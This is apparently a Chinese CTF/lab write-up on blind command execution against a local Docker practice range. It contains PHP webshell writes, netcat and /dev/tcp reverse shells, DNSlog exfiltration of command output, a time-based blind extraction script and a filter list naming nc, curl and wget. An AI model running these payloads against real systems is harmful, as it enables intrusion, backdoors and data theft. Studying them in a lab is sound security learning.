无回显的命令执行

发布于 2023-07-05  942 次阅读


  • dnslog外带和时间盲注两种方法与sql注入语法不同,异曲同工🤣

  • rce进阶的第二篇,上一篇是字符长度限制的rcehttps://drinkflower.asia/wordpress/archives/401

靶场搭建

sudo docker pull mcc0624/cmd:latest
  • 启动环境
sudo docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085:85 -i -t mcc0624/cmd bash -c '/etc/rc.local; /bin/bash'
  • 靶机开在docker的ip:80端口,被映射到了kali的ip:18080端口,kali里面访问127.0.0.1:18080即可访问靶场,如果要在windows本机访问,可以在kali终端中ifconfig查看kali的ip+18080即可.不要做端口映射,反正我在做nat转发到本机端口时失败了.

  • 理论上靶场这个时候是打不了的,又忙活了半个下午,检查了所有地方,==多亏star佬帮我解决了问题,许多靶场第一次装好都要重启一下虚拟机才行,学到了😭==

写文件

tee

  • Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
  • 如果在tee的前面使用正常命令a,并且使用管道符连接,将a的输出作为tee的输入,再使用tee写到指定文件,然后访问即可.比如这样就能将ls的结果写入到miao文件直接访问miao文件即可
ls | tee miao

重定向

  • 也可以直接将命令结果重定向到文件
ls > wang

重定向写马

  • 重定向的方法和当初ctfshow的一个题很像,可以写马到文件
echo "<?php show_source(__FILE__);@eval(\$_POST['s']); ?>" > a.php

dd

  • Linux dd 命令用于读取、转换并输出数据。dd 可从标准输入或文件中读取数据,根据指定的格式来转换数据,再输出到文件、设备或标准输出。
  • if=文件名:输入文件名,默认为标准输入。即指定源文件。of=文件名:输出文件名,默认为标准输出。即指定目的文件。也就是说,if=是文件输入,of=是文件输出,因为靶机电脑上不见得会有含有shell的文件,所以一般配合管道符来实现命令输入,利用of=来输出结果到文件
ls | dd of=output

cp

  • 这个就不说了,直接把其他目录的flag文件copy到可访问目录
c''p /flag output2   //这里加了个引号小绕过

awk

  • AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。本身很复杂,这里只用到了一点,套下面的格式即可将命令结果输出到outpot3
ls | awk '{print $1}' > output3

题目class08/1.php

 |\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    check($cmd);
    exec($cmd);
}
else{
    highlight_file(__FILE__);
}
?> 
  • 题目本身没有过滤读文件的相关函数,只是该php文件没有回显,就随便选上面的一种方式将flag写入到文件即可,之所以不写马是因为题目过滤了<等字符
?cmd=cat /flag | tee miao

题目class01/exec.php

 <?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
print_r($array);
?> 
  • 直接写马,蚁剑连接即可
?cmd=echo "<?php show_source(__FILE__);@eval(\$_POST['s']); ?>" > a.php

  • 根据star的资料,写马不能用于只有一个参数的exec()函数,题目class08/1.php正好是单参数的exec,我进到docker把题目的过滤去掉了写个马试试

  • 经过测试,单参数exec是可以写马的,star走眼了😂

反弹shell

  • 这是一个大的主题,后面开一篇报告详细讨论,这里简单提一下

  • 简单来说,正向的shell连接就是用户远程向主机主动发送连接请求,这个请求会受到主机防火墙的处理.而反弹shell则是让主机主动向我们发送连接请求,因为请求是主机向外发送,所以防火墙一般不会处理这类请求(一般防火墙都是入站规则严苛,出战规则宽松)

  • 主机向我们发送连接请求和我们向主机发送请求是一样的,都要求能够在网络中定位接收方的位置,也就是说,具有公网ip,反弹shell需要攻击机具有公网ip,本篇报告是把docker反弹shell到kali,它们在同一局域网下,所以不需要公网IP

  • 语句1要求目标机和攻击机都装了netcat

语句1

攻击机:nc -lvp 7777 //开放并监听7777端口
目标机:nc 192.168.122.128 7777 -e /bin/bash

其中192.168.122.128是kali的局域网ip,实战需要公网ip

  • 按照star的报告,语句2无法在目标机实现rce,只能手输终端(实战不知道有啥用🤣)
语句2

攻击机:nc -lvp 7777 //开放并监听7777端口
目标机:bash -i >& /dev/tcp/192.168.122.128/7777 0>&1

其中192.168.122.128是kali的局域网ip,实战需要公网ip

python交互式shell

  • 准确的说,python实现交互式shell应该算是反弹shell下面的进阶知识点,其实现方式也有很多,都依赖目标机有python,这里只讨论其中一种较为简单的pty库的利用,要使用 pty 模块直接导入即可,因为一般pty是内置的,但是在某些特定的Python 发行版或环境中,可能需要安装额外的组件或库才能使用pty功能。
Python 中的pty模块(非库)并不属于内置模块。它是一个标准库,提供了与伪终端(PTY)相关的功能。

pty 模块用于创建伪终端设备,并支持与伪终端进行交互。它允许你在程序中创建一个虚拟终端,就像在命令行终端中一样进
行输入和输出。这对于需要与其他程序或操作系统交互的特定应用场景非常有用。
  • 在反弹shell中,攻击机常用nc接受目标机的连接,nc监听端口仅起到了一定的传递终端命令的作用,但是并不是真正的tty,而linux许多命令都需要在真正的tty中运行(比如sudo,vim),这就限制了命令执行
tty一词源于Teletypes,或者teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息
的东西,后来这东西被键盘与显示器取代,所以现在叫终端比较合适。

终端是一种字符型设备,它有多种类型,通常使用tty来简称各种类型的终端设备
  • 比如在上面使用语句1进行反弹shell的情况中,输入vim,按esc无法退出编辑,只会打印^[,而按ctrl+c直接中断了nc

  • 我们可以利用python的pty模块实现pty功能,在nc连接后输入python -c 'import pty; pty.spawn("/bin/bash")'即可
伪终端 (pseudo terminal,有时也被称为 pty)是指伪终端 master 和伪终端 slave 这一对字符设备
  • 因为docker那个小系统不带有python,所以这里使用语句2在Ubuntu里面进行反弹,这里可能会反弹失败,需要小小改一下语句,直接套用就行,后面的反弹shell报告会详细说明
ubuntu:bash -i >& /dev/tcp/192.168.122.128/7777 0>&1
kali:nc -lvp 7777
ubuntu:bash -c "bash -i >& /dev/tcp/192.168.122.128/7777 0>&1"
kali:nc -lvp 7777

连接成功后:python -c 'import pty; pty.spawn("/bin/bash")'

(直接反弹,输了sudo这种需要tty实现交互的命令之后就卡住了,任何命令都无法执行)

(因为此时靶机接收到sudo命令,要求输入密码,nc无法传递这个请求)

(再次连接使用pty模块,可以接收到sudo命令返回的密码输入请求了)

DNSlog外带

  • 原理很简单,和sql的dnslog外带一样,基本思想是使用ping外带反引号的命令执行结果
  • 这里要借助sql那个老网站http://dnslog.cn,点击get subdomain可以获取一个临时的域名,点击referesh record可以查看这个域名下所有子域名的访问
  • 比如这里获取了cnzkxa.dnslog.cn这个域名,刷新一下,这时候什么解析记录都没有

  • 如果有任何人访问了这个域名的四级域名miaomiao.cnzkxa.dnslog.cn,那么我再刷新就会得到cnzkxa.dnslog.cn有miaomiao.cnzkxa.dnslog.cn的解析记录,就将miaomiao这个信息带了出来,我们可以如法炮制来带出rce的结果

  • 这个网站不是很稳定,经常成功不了,我在docker里面直接ping申请的域名都ping不通

  • 那么,就可以构造这样的语句,这里就用star的测试图片辣,==注意,这个句子要用在命令执行漏洞里,代码执行漏洞还要自己加命令执行函数才行==
?cmd=ping ls.cnzkxa.dnslog.cn

  • 但是ls的结果有多个文件,这样不能将所有文件文件名都显示出来,这时就要借助sed命令
sed -n '2p' 是一个 sed 命令,用于从输入文本中提取第二行并进行输出。

具体而言,这个命令会根据指定的参数对输入文本进行处理,并根据特定规则产生输出。以下是对该命令的解释:

sed: sed 是一个流式文本编辑器,用于对文本进行转换、替换和提取等操作。
-n: -n 参数用于禁止默认的输出行为,使得只有经过指定处理后的行才会被输出。
2p: 这是 sed 的参数之一,其中 '2p' 是一个 sed 脚本命令。在这个例子中,2 表示第二行,p 表示打印(输出)该行。
  • 通过控制2p中2的值就可以打印出所有文件
?cmd=ping `ls|sed -n '1p'`.vwiyuv.dnslog.cn

?cmd=ping `ls|sed -n '2p'`.vwiyuv.dnslog.cn

  • 另外http://ceye.io网站和这里的http://dnslog.cn网站作用差不多,要是后者用不了可以逝一逝前者

时间盲注

  • 原理很简单,和sql时间盲注一样,获取单个字符作为if条件,查看是否触发sleep即可
  • 使用awk NR==1获取第一行的内容,cut -c 1获取第一列的内容
cat test.php | awk NR==1 | cut -c 1    
  • 然后是上学期学的一点小的shell编程,满足2>1,就打印right
if [2>1];then echo "right";fi 
  • 汇总起来,第一行第一列是a就卡三秒
if [ $(cat test.php | awk NR==1 | cut -c 1) == a ];then sleep 3 ;fi 
  • 根据这个可以得到脚本,稍微改了些,经过测试,输入的行数和列数输大了不影响脚本的运行,输小了肯定是爆破不全的,可以适当输大一点
# 来源:B站UP主橙子科技: https://www.bilibili.com/video/BV1tG4y1c7Vb?p=12&vd_source=2293bafd0dc9ba39864a22335638ecfc
from multiprocessing.shared_memory import ShareableList
import requests
import time

url = "http://192.168.122.128:18080/class08/1.php"#输入网址
line=10#输入行数,大小靠猜
crow=100#输入列数,大小靠猜
arg="cmd"#输入传参参数名
name="/flag"#输入读取文件的绝对路径或想对路径

result = ""
for i in range(1, line):
    for j in range(1, crow):
        for k in range(32, 128):#32~128把可见ascii包括完辣
            k = chr(k)
            # time.sleep(0.1)
            payload = "?"+arg+ f"=if [ `cat {name} | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"#f表示格式化字符串
            try:
                requests.get(url=url + payload, timeout=(1.5, 1.5))#直接用timeout=1.5表示完成请求限时1.5秒,这样写表示发送到服务器限时1.5秒,服务器响应限时1.5秒,总限时3秒
            except:
                result = result + k
                print(result)
                break
    result += " "

届ける言葉を今は育ててる
最后更新于 2024-02-07